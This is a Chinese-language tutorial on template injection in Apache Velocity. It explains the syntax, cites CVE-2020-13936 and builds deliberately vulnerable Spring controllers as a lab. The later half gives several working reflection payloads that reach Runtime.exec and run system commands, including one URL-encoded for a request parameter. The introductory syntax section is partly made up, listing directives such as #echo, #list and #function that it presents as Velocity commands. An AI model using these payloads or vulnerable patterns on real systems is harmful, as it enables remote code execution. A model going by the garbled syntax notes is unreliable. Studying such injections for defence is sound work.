在前面两篇文章已经提到过FreeMarker,Thymeleaf 模板注入了内容,这篇是最后一篇。
什么是 Velocity
Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。
在 Velocity 中,开发人员可以使用模板文件来定义 Web 应用程序的用户界面和业务逻辑。这些模板文件通常使用 Velocity 语法进行描述,例如变量、条件语句、循环等。
Velocity 模板引擎使用一些内置的上下文对象,例如 $velocityContext、$templateLoader 和 $templateResolver。这些对象允许开发人员在模板中使用变量、加载模板文件和解析表达式等操作。
以下是一个简单的 Velocity 模板示例,该模板将两个数字相加并将结果打印到屏幕上:
#set ($result = $num1 + $num2)
#echo $result
在这个示例中,$num1 和 $num2 是模板中的变量,它们将被编译成 Java 类的常量。$result 是模板中的输出变量,它将被编译成 Java 类的返回值。在模板中,可以使用 #set 指令将变量赋值给另一个变量,并使用 #echo 指令将结果输出到屏幕上。
Velocity 模板引擎还支持使用通配符和条件语句。例如,以下模板示例将根据用户输入的年份计算平均数并将结果打印到屏幕上:
#if ($year != null)
#set ($avg = $year / 4)
#else
#set ($avg = 0)
#end
#echo $avg
在这个示例中,如果 $year 不为 null,则使用 #set 指令将其除以 4,并将结果存储在 $avg 变量中。如果 $year 为 null,则使用 #set 指令将其存储在 $avg 变量中,并将其初始化为 0。在模板中,可以使用 #if 和 #else 指令来处理条件语句。
Velocity 模板页面
一个基础的基于 VTL 的模板文件页面
<html>
<body>
#set( $foo = "Velocity" )
Hello $foo World!
</body>
<html>
基础命令
1.#set:用于将变量赋值给另一个变量。例如,以下命令将 $x 的值设置为 2000:
#set ($x = 2000)
2.#list:用于列出变量的值。例如,以下命令将 $x 和 $y 的值列出:
#list ($x, $y)
3.#if:用于处理条件语句。如果条件为真,则模板将输出条件语句的值,否则输出空文本。例如,以下命令将输出 true 或 false:
#if ($x > 10)
true
#else
false
#end
4.#else:用于处理条件语句的特殊情况。如果条件语句为真,则输出条件语句的值,否则输出空文本。例如,以下命令将输出 true 或 false:
#if ($x > 10)
true
#else
false
#end
5.#foreach:用于处理循环。循环可以遍历数组、对象或字符串。例如,以下命令将遍历 $x 数组并输出每个元素的值:
#foreach ($x in $xs)
$x
#end
6.#echo:用于输出模板中的文本。例如,以下命令将输出 Hello, World!:
#echo "Hello, World!"
7.#function:用于定义自定义函数。自定义函数可以处理数据,并在模板中使用。例如,以下命令定义了一个自定义函数 myFunction:
#function myFunction($x)
echo $x
#end
8.#include:用于加载模板文件。例如,以下命令将加载名为 index.vm 的模板文件:
#include "index.vm"
set 指令攻击语句
第一种
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime
",null).invoke(null,null).exec("open -a calculator")
上述代码,通过set设置一个变量e,然后通过e,反射调用Runtime这个class,然后获取getRuntime中的exec函数,执行弹计算器的指令。
第二种
#set($s='')##
#set($runtime = $x.class.forName('java.lang.Runtime'))##
#set($char = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($cmd=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$cmd.getInputStream())##
#foreach( $i in
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
上述代码,反射加载三个方法,然后获取id执行后的字符流,然后作为字符串输出。
第三种
#set ($e="exp")
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).i
nvoke(null,null).exec($cmd))
#set
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream"
).invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor =
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
首先,代码创建一个变量 $e 并将其设置为字符串 "exp"。接下来,代码调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd 变量中 存储的命令。这个命令的输出将被保存在变量 $input 中然后,代码使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用 $input 变量创建 Scanner 对 象。该对象的 useDelimiter 方法设置了输入流的分隔符。最后,代码检查 Scanner 对象是否有下一个输入行。如果有,它将输出该行。否则,什么也不会发生。
Velocity注入漏洞
CVE-2020-13936
能够修改 Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运 行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。
简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。
搭建环境
然后在pom中加入依赖
<dependency>
<groupId>org.apache.velocitygroupId>
<artifactId>velocityartifactId>
<version>1.7version>
dependency>
创建一个漏洞代码 exp
package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
@Controller
public class exp {
@GetMapping("/ssti")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("name", "lisi");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
创建一个控制器,映射uri为ssti;
创建一个 Velocity 上下文对象,添加一个lisi变量到上下文中;
并将上下 文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法;
然后写入StringWriter对象中。
漏洞触发点
evaluate函数
61行中:
writer :输出结果的写入器,用于将生成的结果写入到指定位置。
context :上下文数据,即用于替换模板中占位符的数据。
logTag :日志标签,用于在日志中区分不同的 evaluate 调用。
instring :待处理的 Velocity 模板字符串。
运行代码,触发漏洞代码,payload需要把# “ 进行url编码
%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod
(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)
merge 触发
template :待处理的 Velocity 模板。
context :上下文数据,即用于替换模板中占位符的数据。
writer :输出结果的写入器,用于将生成的结果写入到指定位置。
创建对应的code
package com.example.demo;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.apache.velocity.Template;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
@Controller
public class MergeDemo {
@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam("test") String username) throws IOException, ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("template.vm")));
templateString = templateString.replace("", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "lisi");
ctx.put("phone", "111222");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
Template template = new Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
}
从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。
假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")
然后启动项目,因为这里需要传递参数
http://127.0.0.1:8080/ssti/velocity2?test=lisi
merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数, 用于存储数据,并将数据与模板合并,生成输出。
evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是 否成功执行。
evaluate() 方法通常用于执行带有条件的模板。
漏洞修复
升级高版本。